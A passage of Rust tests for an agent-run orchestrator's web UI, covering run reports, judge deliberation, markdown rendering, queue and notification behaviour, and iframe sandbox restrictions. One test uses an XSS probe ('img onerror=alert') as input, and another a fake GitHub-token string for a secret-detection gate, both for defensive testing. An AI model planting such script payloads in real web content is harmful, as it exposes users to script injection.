19458 .find(|s| s["kind"] == "judging")
19459 .expect("judging section exists");
19460
19461 let delib_lines = judging["deliberation"].as_array().unwrap();
19463 assert_eq!(delib_lines.len(), 2);
19464 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19465 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19466
19467 let rounds = judging["rounds"].as_array().unwrap();
19469 assert_eq!(rounds.len(), 2);
19470 let r1_t0 = &rounds[0]["turns"][0];
19471 assert_eq!(r1_t0["judge"], 1);
19472 assert_eq!(r1_t0["agent"], "judge-1");
19473 assert_eq!(r1_t0["tentative"], "A");
19474 assert_eq!(
19475 r1_t0["body"],
19476 "I prefer candidate **A** because it has cleaner tests."
19477 );
19478 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19479
19480 let r2_t0 = &rounds[1]["turns"][0];
19481 assert_eq!(r2_t0["judge"], 1);
19482 assert_eq!(r2_t0["agent"], "judge-1");
19483 assert!(r2_t0["tentative"].is_null());
19484 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19485 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19486
19487 let id_empty = "20260902-140504-nodelib";
19489 write_run(&f.runs(), id_empty, RunStatus::Merged);
19490 let path_empty = f.runs().join(id_empty).join("run.json");
19491 let mut v_empty: serde_json::Value =
19492 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19493 v_empty["judgements"] = serde_json::json!([
19494 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19495 ]);
19496 v_empty["deliberation"] = serde_json::json!([]);
19497 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19498
19499 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19500 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19501 let j_empty = res_empty.json();
19502 let judging_empty = j_empty["sections"]
19503 .as_array()
19504 .unwrap()
19505 .iter()
19506 .find(|s| s["kind"] == "judging")
19507 .expect("judging section exists");
19508 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19509 }
19510
19511 #[tokio::test]
19512 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19513 let f = Fixture::start().await;
19514
19515 let html = f.get("/").await;
19516 let css = f.get("/app.css").await;
19517 let js = f.get("/app.js").await;
19518
19519 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19520 assert!(
19521 html.headers
19522 .contains("content-type: text/html; charset=utf-8")
19523 );
19524 assert!(css.headers.contains("content-type: text/css"));
19525 assert!(js.headers.contains("content-type: text/javascript"));
19526 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19527 }
19528
19529 #[test]
19530 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19531 let body = |name: &str| {
19532 let at = APP_JS
19533 .find(name)
19534 .unwrap_or_else(|| panic!("{name} missing"));
19535 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19536 };
19537 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19538 let note = body("function landRoundNote");
19539 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19540 assert!(note.contains("Land round ${round}"));
19541 let land = body("function renderLand");
19542 let note_at = land
19543 .find("landRoundNote(pr)")
19544 .expect("renderLand uses the note");
19545 assert!(
19546 note_at
19547 < land
19548 .find("roundRail(pr)")
19549 .expect("renderLand uses the rail")
19550 );
19551 }
19552
19553 #[test]
19554 fn the_runs_page_redesign_keeps_its_guards() {
19555 let body = |name: &str| {
19556 let at = APP_JS
19557 .find(name)
19558 .unwrap_or_else(|| panic!("{name} missing"));
19559 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19560 };
19561 let land = body("function renderLand");
19563 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19564 assert!(
19565 !land.contains("box.append("),
19566 "renderLand must use append()"
19567 );
19568 assert!(land.contains("append(box, ["));
19569 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19571 assert!(
19572 body("function applyRoute")
19573 .contains("route.name !== state.route.name || route.id !== state.route.id")
19574 );
19575 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19577 assert!(!INDEX_HTML.contains("advise-converge"));
19578 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19579 assert!(APP_JS.contains("provisional"));
19580 for id in [
19581 "run-tab-overview",
19582 "run-tab-timeline",
19583 "run-tab-report",
19584 "run-report",
19585 "runs-scope",
19586 ] {
19587 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19588 }
19589 assert!(!INDEX_HTML.contains("runs-tree"));
19590 assert!(!INDEX_HTML.contains("run-raw-panel"));
19591 assert!(APP_JS.contains("resume"));
19593 assert!(APP_JS.contains("unreadable"));
19595 }
19596
19597 #[test]
19598 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19599 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19600 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19601 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19602 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19603 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19604 assert!(APP_JS.contains("unreadable` : null"));
19606 }
19607
19608 #[test]
19609 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19610 let mut state = RunState::new(
19611 "/repo".into(),
19612 "main".into(),
19613 "abc".into(),
19614 "task".into(),
19615 crate::config::Config::default(),
19616 );
19617 state.status = RunStatus::Blocked;
19618 state.gate_ran = true;
19619 state.gate.push(crate::run::CommandOutcome {
19620 command: "cargo make check".into(),
19621 code: Some(1),
19622 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19623 duration_ms: 0,
19624 resource_blocked: false,
19625 });
19626 let view = RunDetailView::of(
19627 state,
19628 false,
19629 crate::run::Liveness::Unknown,
19630 None,
19631 None,
19632 None,
19633 );
19634 let value = serde_json::to_value(view).unwrap();
19635 assert_eq!(
19636 value["stop_reason"],
19637 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19638 );
19639 }
19640
19641 #[test]
19642 fn the_run_detail_payload_says_whether_the_run_is_done() {
19643 for (status, done) in [
19645 (RunStatus::Superseded, true),
19646 (RunStatus::Blocked, true),
19647 (RunStatus::Landing, false),
19648 ] {
19649 let mut state = RunState::new(
19650 std::path::PathBuf::from("/repo"),
19651 "main".to_owned(),
19652 "abc".to_owned(),
19653 "x".to_owned(),
19654 crate::config::Config::default(),
19655 );
19656 state.status = status;
19657 let v = serde_json::to_value(RunDetailView::of(
19658 state,
19659 false,
19660 crate::run::Liveness::Unknown,
19661 None,
19662 None,
19663 None,
19664 ))
19665 .unwrap();
19666 assert_eq!(v["done"], done, "{status:?}");
19667 }
19668 }
19669
19670 fn has_strong(nodes: &[md::Node]) -> bool {
19672 serde_json::to_string(nodes).unwrap().contains("strong")
19673 }
19674
19675 #[test]
19676 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19677 let mut state = RunState::new(
19678 std::path::PathBuf::from("/repo"),
19679 "main".to_owned(),
19680 "abc".to_owned(),
19681 "x".to_owned(),
19682 crate::config::Config::default(),
19683 );
19684 let proposal = |approach: &str| {
19685 serde_json::json!({
19686 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19687 })
19688 };
19689 state.advice = Some(
19690 serde_json::from_value(serde_json::json!({
19691 "records": [
19692 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19693 "proposal": proposal("do **this**")},
19694 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19695 ],
19696 "synthesis": "- one\n- **two**\n\n`code`",
19697 }))
19698 .unwrap(),
19699 );
19700 state.candidates = serde_json::from_value(serde_json::json!([
19701 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19702 "summary": "did **it**"},
19703 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19704 ]))
19705 .unwrap();
19706 state.reviews = serde_json::from_value(serde_json::json!([{
19709 "round": 1, "head": "h",
19710 "reviews": [{
19711 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19712 "findings": [
19713 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19714 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19715 ],
19716 }],
19717 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19718 "fix": {"agent": "a", "notes": "fixed **it**",
19719 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19720 }, {"round": 2, "head": "h2", "reviews": []}]))
19721 .unwrap();
19722
19723 let v = serde_json::to_value(RunDetailView::of(
19724 state,
19725 false,
19726 crate::run::Liveness::Unknown,
19727 None,
19728 None,
19729 None,
19730 ))
19731 .unwrap();
19732
19733 let strong = |p: &str| {
19734 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19735 assert!(n.to_string().contains("strong"), "{p}: {n}");
19736 };
19737 strong("/advice_md/synthesis");
19738 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19739 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19740 strong("/advice_md/approaches/0");
19741 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19742 strong("/candidate_summaries_md/0");
19743 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19744 strong("/reviews_md/0/reviewers/0/summary");
19745 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19746 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19747 assert!(f[1].to_string().contains("strong"));
19748 strong("/reviews_md/0/reconsideration/0");
19749 strong("/reviews_md/0/fix/notes");
19750 strong("/reviews_md/0/fix/rejected/0");
19751 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19752 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19753 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19755 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19756 }
19757
19758 #[test]
19759 fn a_run_without_advice_has_no_advice_md() {
19760 let state = RunState::new(
19761 std::path::PathBuf::from("/repo"),
19762 "main".to_owned(),
19763 "abc".to_owned(),
19764 "x".to_owned(),
19765 crate::config::Config::default(),
19766 );
19767 let p = run_prose_md(&state);
19768 assert!(p.advice_md.is_none());
19769 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19770 }
19771
19772 #[test]
19773 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19774 let store = ask::Questions::at(PathBuf::from("unused"));
19775 let gt = crate::github_text::Withheld {
19776 title: false,
19777 body: true,
19778 categories: vec!["sensitive-data".into()],
19779 };
19780 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19781 let (detail, comparison) =
19782 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19783 let mut q = Question::new(
19784 "r".into(),
19785 "github-text".into(),
19786 "posting-gate".into(),
19787 "s".into(),
19788 detail,
19789 Vec::new(),
19790 );
19791 assert!(
19792 QuestionView::of(q.clone(), &store, None)
19793 .posting_view
19794 .is_none()
19795 );
19796 q.posting_comparison = Some(comparison);
19797 let view = QuestionView::of(q.clone(), &store, None);
19798 let field = &view.posting_view.unwrap().fields[0];
19799 assert_eq!(
19800 field
19801 .original
19802 .iter()
19803 .map(|f| f.text.as_str())
19804 .collect::<String>(),
19805 body
19806 );
19807 assert!(field.original[0].text.starts_with("<img"));
19808 let original_question: Question =
19809 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19810 assert_eq!(original_question, q);
19811 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19812 .original
19813 .start = 1;
19814 assert!(
19815 QuestionView::of(q.clone(), &store, None)
19816 .posting_view
19817 .is_none()
19818 );
19819 q.posting_comparison = original_question.posting_comparison;
19820 q.detail.push_str("extra context");
19821 assert!(
19822 QuestionView::of(q.clone(), &store, None)
19823 .posting_view
19824 .is_some()
19825 );
19826 q.detail.insert(0, 'x');
19827 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19828 }
19829
19830 #[test]
19831 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19832 let store = ask::Questions::at(PathBuf::from("unused"));
19833 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19834 let gt = crate::github_text::Withheld::from_check(
19835 &crate::github_text::check("fix: x", body),
19836 "fix: x",
19837 body,
19838 )
19839 .unwrap();
19840 let (detail, comparison) =
19841 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19842 let mut q = Question::new(
19843 "r".into(),
19844 "github-text".into(),
19845 "posting-gate".into(),
19846 "s".into(),
19847 detail,
19848 Vec::new(),
19849 );
19850 q.posting_comparison = Some(comparison);
19851 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19852 let field = &value["posting_view"]["fields"][0];
19853 let group = &field["replacement_group"];
19854 let triggers = group["triggers"].as_array().unwrap();
19855 assert_eq!(triggers.len(), 2);
19856 assert_ne!(triggers[0], triggers[1]);
19857 for id in triggers {
19858 assert!(
19859 field["original"]
19860 .as_array()
19861 .unwrap()
19862 .iter()
19863 .any(|f| &f["pair"] == id)
19864 );
19865 assert!(
19866 !field["changed"]
19867 .as_array()
19868 .unwrap()
19869 .iter()
19870 .any(|f| &f["pair"] == id)
19871 );
19872 }
19873 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19874 group["id"].as_u64().unwrap() as usize;
19875 assert!(
19876 QuestionView::of(q, &store, None).posting_view.is_none(),
19877 "group and trigger IDs cannot collide"
19878 );
19879 }
19880
19881 #[test]
19882 fn a_question_view_carries_markdown_for_each_thread_turn() {
19883 let home = TempDir::new().unwrap();
19884 let store = ask::Questions::at(home.path().join("questions"));
19885 let mut q = Question::new(
19886 "run".to_owned(),
19887 "implement".to_owned(),
19888 "impl-A".to_owned(),
19889 "which?".to_owned(),
19890 String::new(),
19891 Vec::new(),
19892 );
19893 q.say("plain words").unwrap();
19894 q.reply("use **this**", Vec::new()).unwrap();
19895 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19896 let bodies = &v["thread_bodies_md"];
19897 assert_eq!(bodies.as_array().unwrap().len(), 2);
19898 assert!(!bodies[0].to_string().contains("strong"));
19899 assert!(bodies[1].to_string().contains("strong"));
19900 }
19901
19902 #[test]
19903 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19904 let home = TempDir::new().unwrap();
19905 let store = ask::Questions::at(home.path().join("questions"));
19906 let mut q = Question::new(
19907 "run".to_owned(),
19908 "conduct".to_owned(),
19909 "conduct".to_owned(),
19910 "which?".to_owned(),
19911 String::new(),
19912 Vec::new(),
19913 );
19914 q.say("plain words").unwrap();
19915 q.thread.push(ask::Turn {
19916 who: ask::Who::Agent,
19917 body: "Settled as `merge`".to_owned(),
19918 at: jiff::Timestamp::now(),
19919 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19920 });
19921 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19922 let notes = &v["thread_notes_md"];
19923 assert_eq!(notes.as_array().unwrap().len(), 2);
19924 assert!(notes[0].is_null());
19925 let text = notes[1].to_string();
19926 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19927 assert!(APP_JS.contains("ask-turn-note"));
19928 }
19929
19930 #[test]
19931 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19932 assert!(APP_JS.contains("function landView(run, raw) {"));
19936 assert!(
19937 APP_JS.contains(
19938 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19939 )
19940 );
19941 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19942 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19943 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19944 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19945 }
19946
19947 #[test]
19948 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19949 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19950 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19951 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19952 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19953 }
19954
19955 #[test]
19956 fn review_rounds_label_a_distinct_verified_head() {
19957 assert!(APP_JS.contains("round.verified_head"));
19958 assert!(APP_JS.contains("verified HEAD"));
19959 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19960 }
19961
19962 #[test]
19963 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19964 assert!(APP_JS.contains("blocked: { glyph:"));
19968 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19969
19970 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19974 assert!(
19975 APP_JS.contains(
19976 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19977 ),
19978 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19979 );
19980 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19984
19985 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19989 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19990 assert!(
19991 APP_JS.contains("location.hash = \"#/questions\";"),
19992 "a question node must jump to the Questions screen, not pretend to be a task"
19993 );
19994
19995 assert!(APP_JS.contains("Resolved questions"));
19998 assert!(APP_JS.contains("r.answersList.append("));
19999 assert!(APP_CSS.contains(".task-answers"));
20000 {
20001 let start = APP_JS
20002 .find("function updateTalkTaskRow")
20003 .expect("updateTalkTaskRow");
20004 let body = &APP_JS[start..];
20005 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20006 assert!(
20007 body.contains(
20008 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20009 ),
20010 "a chat-filed task row must link to the task page"
20011 );
20012 assert!(
20013 !body.contains("#/runs/") && !body.contains("#/queue/"),
20014 "the row must not branch to a run or the queue card"
20015 );
20016 assert!(APP_CSS.contains(".talk-task-link"));
20017 }
20018 }
20019
20020 #[test]
20021 fn a_task_notification_links_to_the_task_page() {
20022 let start = APP_JS
20024 .find("function noticeLink(")
20025 .expect("noticeLink exists");
20026 let body = &APP_JS[start..];
20027 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20028 assert!(
20029 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20030 "a task notice's link must target the task page"
20031 );
20032 assert!(
20033 !body.contains("#/queue/"),
20034 "regression: the task link must not go back to the Backlog route"
20035 );
20036 assert!(
20037 APP_JS.contains(
20038 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20039 ),
20040 "`#/tasks/<id>` must parse into the task route"
20041 );
20042
20043 assert!(
20045 APP_JS.contains(
20046 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20047 ),
20048 "`#/queue/<id>` must parse into a route carrying that id"
20049 );
20050
20051 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20055 assert!(APP_JS.contains("function consumeQueueFocus()"));
20056 assert!(APP_JS.contains("jumpToTask(id)"));
20057 }
20058
20059 #[test]
20060 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20061 let start = APP_JS
20062 .find("function noticeCoveredBy(")
20063 .expect("noticeCoveredBy exists");
20064 let body = &APP_JS[start..];
20065 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20066
20067 assert!(body.contains("Associated question ${short}"));
20069 assert!(!body.contains("el(\"a\""));
20070
20071 assert!(body.contains("(resolved)"));
20073 assert!(body.contains("(closed)"));
20074
20075 let start = APP_JS
20076 .find("function renderNotifications()")
20077 .expect("renderNotifications exists");
20078 let body = &APP_JS[start..];
20079 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20080
20081 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20083 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20084 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20085 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20086 }
20087
20088 #[test]
20091 fn chat_rows_put_the_title_alone_on_the_first_line() {
20092 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20093 assert!(APP_CSS.contains(
20094 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20095 ));
20096 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20097 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20098 }
20099
20100 #[test]
20101 fn run_rows_put_the_title_alone_on_the_first_line() {
20102 assert!(
20103 APP_CSS.contains(
20104 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20105 )
20106 );
20107 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20108 assert!(APP_JS.contains("class: \"card run-card\""));
20109 assert!(APP_JS.contains("class: \"repo run-id\""));
20110 }
20111
20112 #[test]
20116 fn wide_screens_show_list_and_preview_side_by_side() {
20117 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20119 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20120 assert!(APP_CSS.contains("main[data-split]"));
20121 assert!(APP_CSS.contains("body[data-split]"));
20122
20123 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20125 assert!(
20126 APP_JS.contains(
20127 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20128 )
20129 );
20130 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20131 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20132 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20133
20134 assert!(APP_JS.contains("function markSelected() {"));
20136 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20137 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20138 assert!(
20140 APP_CSS.contains(
20141 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20142 )
20143 );
20144
20145 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20147 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20148 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20149 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20150
20151 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20155 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20156 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20157 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20158
20159 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20161 }
20162
20163 #[test]
20164 fn panel_sandbox_carries_exactly_popups() {
20165 let needle = "sandbox: \"";
20166 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20167 assert_eq!(
20168 matches.len(),
20169 1,
20170 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20171 );
20172 let start = matches[0].0 + needle.len();
20173 let end = APP_JS[start..]
20174 .find('"')
20175 .expect("sandbox attribute value must be terminated by a closing quote");
20176 let val = &APP_JS[start..start + end];
20177 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20178 let expected: std::collections::BTreeSet<&str> =
20179 ["allow-popups", "allow-popups-to-escape-sandbox"]
20180 .into_iter()
20181 .collect();
20182 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20183 assert!(
20184 !tokens.contains("allow-scripts"),
20185 "allow-scripts must never be present in sandbox"
20186 );
20187 assert!(
20188 !tokens.contains("allow-same-origin"),
20189 "allow-same-origin must never be present in sandbox"
20190 );
20191 }
20192
20193 #[test]
20194 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20195 assert!(
20204 APP_JS.contains(
20205 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20206 ),
20207 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20208 recursive renderQueue() call has nothing left to jump to"
20209 );
20210 assert!(
20211 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20212 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20213 arrives later still gets it"
20214 );
20215 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20216 assert!(APP_JS.contains("is not in the current Backlog."));
20217 assert!(APP_JS.contains("li.card[data-task-id=\""));
20218 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20219 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20220 assert!(APP_CSS.contains(".card-permalink"));
20221 assert!(APP_CSS.contains(".queue-focus-status"));
20222 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20223 }
20224
20225 #[test]
20226 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20227 assert!(
20235 APP_JS.contains(
20236 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20237 ),
20238 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20239 );
20240 }
20241
20242 #[test]
20243 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20244 assert!(
20245 APP_JS.contains("round.verified_head !== round.head"),
20246 "a round that verified an earlier commit must be visibly distinct from one that \
20247 verified the head reviewers are looking at now"
20248 );
20249 assert!(
20250 APP_JS.contains("round.verified_at"),
20251 "when a check ran must be on the wire, not just which commit"
20252 );
20253 assert!(
20254 APP_JS.contains("resource_blocked"),
20255 "a command magi never got to run (shared build cache contention) must not render \
20256 the same as a command that ran and failed"
20257 );
20258 }
20259
20260 #[test]
20261 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20262 assert!(
20270 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20271 "every KPI tile built through statusTile() must route its click through \
20272 openRunsFiltered, the single place that sets the Runs filter"
20273 );
20274 for (label, status) in [
20275 ("Merged", "merged"),
20276 ("Ready", "ready"),
20277 ("Blocked", "blocked"),
20278 ("Stalled", "stalled"),
20279 ] {
20280 let call = format!("statusTile(\"{label}\", t.{status}, ");
20281 assert!(
20282 APP_JS.contains(&call),
20283 "expected the {label} KPI tile built via {call}..."
20284 );
20285 assert!(
20286 APP_JS.contains(&format!("status === \"{status}\"")),
20287 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20288 compare a run against, not one invented only for the stats tile"
20289 );
20290 }
20291 assert!(
20292 APP_JS.contains("function openRunsFiltered(status)"),
20293 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20294 );
20295 assert!(
20296 APP_JS.contains(
20297 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20298 ),
20299 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20300 );
20301 assert!(
20309 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20310 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20311 hashchange event that may never fire"
20312 );
20313 }
20314
20315 #[test]
20316 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20317 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20323 assert!(
20324 APP_JS.contains(
20325 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20326 ),
20327 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20328 guard for an incompatible tree section"
20329 );
20330 }
20331
20332 #[test]
20333 fn every_stats_queue_tile_names_a_real_queue_section() {
20334 assert!(
20340 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20341 "every queue tile built through sectionTile() must route its click through \
20342 openQueueSectionFocus"
20343 );
20344 for key in ["upnext", "running", "done", "held", "blocked"] {
20345 assert!(
20346 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20347 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20348 );
20349 }
20350 for line in [
20354 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20355 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20356 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20357 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20358 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20359 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20360 ] {
20361 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20362 }
20363 }
20364
20365 #[test]
20366 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20367 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20374 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20375 assert!(APP_JS.contains("function revealQueueSection(details)"));
20376 assert!(
20377 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
